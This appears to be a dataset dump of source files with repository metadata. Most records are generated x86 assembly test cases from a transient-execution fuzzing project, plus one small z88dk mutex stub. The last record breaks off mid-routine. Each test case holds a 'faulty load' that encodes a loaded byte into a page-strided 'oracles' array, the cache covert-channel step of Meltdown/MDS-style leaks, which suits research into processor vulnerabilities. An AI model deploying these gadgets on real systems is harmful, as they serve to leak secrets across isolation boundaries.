hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
53cc8c7114830274f7883f9d8657cde07330a0b2 | 7,563 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_13458_1114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_13458_1114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_13458_1114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x17a4f, %rsi
lea addresses_A_ht+0x1ea0f, %rdi
cmp $32415, %r11
mov $66, %rcx
rep movsb
add $48753, %rax
lea addresses_WT_ht+0x73cf, %rdi
nop
nop
nop
cmp %r11, %r11
movb $0x61, (%rdi)
nop
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x8a4f, %rsi
lea addresses_WC_ht+0x557f, %rdi
nop
nop
nop
nop
nop
add $44439, %rdx
mov $31, %rcx
rep movsl
xor %rax, %rax
lea addresses_D_ht+0x1c84f, %rsi
lea addresses_WC_ht+0x1554f, %rdi
clflush (%rdi)
cmp %r11, %r11
mov $78, %rcx
rep movsw
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x12ab7, %rsi
lea addresses_D_ht+0xce4f, %rdi
nop
nop
nop
nop
cmp $45118, %r12
mov $61, %rcx
rep movsq
nop
nop
nop
add %rax, %rax
lea addresses_UC_ht+0x106e3, %rcx
nop
nop
xor %r11, %r11
movb $0x61, (%rcx)
nop
nop
nop
nop
add $47155, %rdx
lea addresses_D_ht+0x1424f, %r12
nop
nop
nop
nop
nop
sub $56614, %rdx
movups (%r12), %xmm5
vpextrq $0, %xmm5, %rdi
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0x55c7, %rsi
nop
nop
nop
nop
sub %rcx, %rcx
mov (%rsi), %di
nop
nop
nop
nop
lfence
lea addresses_A_ht+0x1884f, %rdx
nop
nop
nop
nop
nop
cmp $62308, %rsi
movups (%rdx), %xmm7
vpextrq $1, %xmm7, %rax
nop
nop
nop
inc %r12
lea addresses_WT_ht+0x8c07, %rdx
nop
nop
nop
nop
nop
sub $34518, %rcx
movb (%rdx), %al
nop
nop
nop
nop
cmp $59581, %rdi
lea addresses_A_ht+0x1b28b, %r12
clflush (%r12)
nop
nop
nop
nop
xor $52065, %r11
movl $0x61626364, (%r12)
nop
nop
and %rdi, %rdi
lea addresses_UC_ht+0x1ac4f, %rsi
sub $53692, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
movups %xmm1, (%rsi)
add $25262, %rax
lea addresses_UC_ht+0x1a24f, %rax
nop
nop
nop
nop
sub %rsi, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, (%rax)
nop
nop
nop
cmp $39720, %rdi
lea addresses_WT_ht+0xae4f, %rsi
lea addresses_A_ht+0x6a4f, %rdi
nop
nop
nop
cmp %r13, %r13
mov $41, %rcx
rep movsw
nop
and %r13, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %rbx
push %rdi
push %rdx
// Faulty Load
lea addresses_WT+0x1564f, %r14
nop
nop
nop
add $6890, %rdi
vmovups (%r14), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdx
lea oracles, %rdi
and $0xff, %rdx
shlq $12, %rdx
mov (%rdi,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rbx
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'39': 13458}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 34.377273 | 2,999 | 0.65794 |
d8126de42da910ea9ed7704fb5a34d2075ef6a24 | 2,645 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1_1032.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1_1032.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_1_1032.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rax
push %rbx
lea addresses_normal_ht+0xfe1c, %rax
nop
nop
and %r10, %r10
mov $0x6162636465666768, %rbx
movq %rbx, %xmm0
vmovups %ymm0, (%rax)
nop
nop
nop
nop
nop
cmp %r12, %r12
pop %rbx
pop %rax
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r9
push %rbp
push %rcx
push %rdx
push %rsi
// Store
lea addresses_normal+0x50fc, %r12
nop
nop
nop
nop
and %rsi, %rsi
mov $0x5152535455565758, %rdx
movq %rdx, %xmm0
movups %xmm0, (%r12)
nop
nop
nop
nop
nop
and %r12, %r12
// Store
lea addresses_WC+0xb802, %rcx
nop
nop
nop
inc %rbp
movl $0x51525354, (%rcx)
add %rdx, %rdx
// Store
lea addresses_A+0x302b, %rcx
nop
nop
nop
nop
dec %r9
movw $0x5152, (%rcx)
sub $43760, %rbp
// Store
lea addresses_PSE+0x17554, %r12
nop
cmp %r15, %r15
mov $0x5152535455565758, %rbp
movq %rbp, %xmm2
movups %xmm2, (%r12)
inc %rdx
// Store
mov $0x61893f0000000e1c, %r12
clflush (%r12)
nop
nop
and $27344, %rsi
movl $0x51525354, (%r12)
cmp %rbp, %rbp
// Store
lea addresses_WC+0xd51c, %r12
nop
nop
dec %rdx
mov $0x5152535455565758, %r9
movq %r9, %xmm5
vmovups %ymm5, (%r12)
nop
nop
nop
nop
nop
inc %r12
// Faulty Load
lea addresses_WC+0xd51c, %r15
clflush (%r15)
nop
cmp $37883, %r12
movntdqa (%r15), %xmm1
vpextrq $1, %xmm1, %rsi
lea oracles, %r9
and $0xff, %rsi
shlq $12, %rsi
mov (%r9,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_NC'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_WC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}}
{'00': 1}
00
*/
| 18.626761 | 129 | 0.644612 |
5fe5565a3ae1477f450f0463307192d4d9f0c3f9 | 140 | asm | Assembly | libsrc/_DEVELOPMENT/threads/mutex/c/sccz80/mtx_lock.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/threads/mutex/c/sccz80/mtx_lock.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/threads/mutex/c/sccz80/mtx_lock.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; int mtx_lock(mtx_t *m)
SECTION code_clib
SECTION code_threads_mutex
PUBLIC mtx_lock
EXTERN asm_mtx_lock
defc mtx_lock = asm_mtx_lock
| 11.666667 | 28 | 0.814286 |
36d70ed9b0e824ac911267e7337e22b9accf0a7b | 7,728 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_810_1810.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_810_1810.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_810_1810.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x17c17, %r15
nop
nop
and $3500, %r13
mov (%r15), %r10d
nop
nop
and %rbx, %rbx
lea addresses_WT_ht+0x17, %rsi
lea addresses_normal_ht+0x3218, %rdi
nop
nop
sub %r15, %r15
mov $22, %rcx
rep movsb
xor %rsi, %rsi
lea addresses_A_ht+0x1223b, %r15
nop
nop
nop
xor %rcx, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm1
vmovups %ymm1, (%r15)
nop
nop
sub %r10, %r10
lea addresses_WT_ht+0x18217, %rsi
lea addresses_normal_ht+0x13a17, %rdi
nop
nop
dec %rdx
mov $20, %rcx
rep movsb
nop
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0x1a097, %r15
nop
and $61116, %rcx
and $0xffffffffffffffc0, %r15
vmovaps (%r15), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rbx
nop
nop
cmp $45186, %rdi
lea addresses_WC_ht+0x1d497, %r15
nop
nop
nop
nop
nop
cmp $28811, %rcx
mov (%r15), %r13d
nop
nop
nop
nop
add %r15, %r15
lea addresses_UC_ht+0x82b3, %rsi
lea addresses_A_ht+0xa0b7, %rdi
nop
nop
nop
nop
nop
and %r10, %r10
mov $115, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %rdi
lea addresses_WC_ht+0x13417, %rbx
nop
nop
nop
add %rcx, %rcx
mov (%rbx), %rsi
nop
inc %rbx
lea addresses_WT_ht+0x1417, %rdx
clflush (%rdx)
nop
sub $64398, %r15
movl $0x61626364, (%rdx)
nop
nop
nop
inc %rdx
lea addresses_UC_ht+0x1c017, %rsi
lea addresses_D_ht+0x9c17, %rdi
nop
nop
nop
sub $53371, %r10
mov $68, %rcx
rep movsb
nop
nop
cmp %r13, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r9
push %rax
push %rbp
push %rbx
push %rdx
push %rsi
// Load
lea addresses_WT+0x199, %rdx
nop
nop
sub $10789, %rsi
movups (%rdx), %xmm6
vpextrq $0, %xmm6, %rax
dec %rbp
// Store
lea addresses_WC+0x15df7, %rax
clflush (%rax)
nop
xor %r9, %r9
mov $0x5152535455565758, %r10
movq %r10, %xmm2
vmovups %ymm2, (%rax)
sub %r10, %r10
// Store
lea addresses_normal+0x1217, %rbp
nop
nop
nop
xor %rbx, %rbx
movl $0x51525354, (%rbp)
nop
nop
nop
sub $57758, %rdx
// Load
lea addresses_PSE+0xe417, %r9
nop
nop
nop
and $31842, %r10
mov (%r9), %si
nop
nop
nop
add %r10, %r10
// Store
lea addresses_RW+0x18c17, %rdx
nop
nop
nop
nop
nop
and %rsi, %rsi
movl $0x51525354, (%rdx)
dec %rbp
// Store
lea addresses_normal+0x18ed7, %rbp
nop
cmp $10114, %rdx
mov $0x5152535455565758, %rax
movq %rax, %xmm6
movups %xmm6, (%rbp)
and $4688, %rbx
// Store
lea addresses_A+0x14c17, %rbx
sub %rax, %rax
mov $0x5152535455565758, %rbp
movq %rbp, (%rbx)
nop
nop
nop
nop
xor %rbx, %rbx
// Faulty Load
lea addresses_A+0x12417, %r10
nop
add %rbp, %rbp
mov (%r10), %edx
lea oracles, %rbx
and $0xff, %rdx
shlq $12, %rdx
mov (%rbx,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 4, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': True, 'type': 'addresses_normal', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': True, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': True, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'00': 810}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 30.305882 | 2,429 | 0.65295 |
ae41d9645631a27afab4c9ecd4a72cc66660a066 | 6,084 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_455.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_455.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca_notsx.log_21829_455.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %r9
push %rbx
push %rsi
lea addresses_UC_ht+0x3979, %rbx
nop
nop
sub $9440, %r12
mov $0x6162636465666768, %r15
movq %r15, (%rbx)
nop
nop
sub %r9, %r9
lea addresses_UC_ht+0x8859, %r13
nop
nop
nop
nop
add %rsi, %rsi
movb (%r13), %r9b
nop
nop
add %rbx, %rbx
lea addresses_UC_ht+0x76b9, %r9
nop
and $40377, %r10
mov (%r9), %r12
nop
xor $49602, %rsi
lea addresses_D_ht+0xf879, %rsi
nop
nop
nop
xor %r9, %r9
vmovups (%rsi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r10
nop
xor %r13, %r13
lea addresses_D_ht+0x15ee7, %rbx
nop
and $1612, %rsi
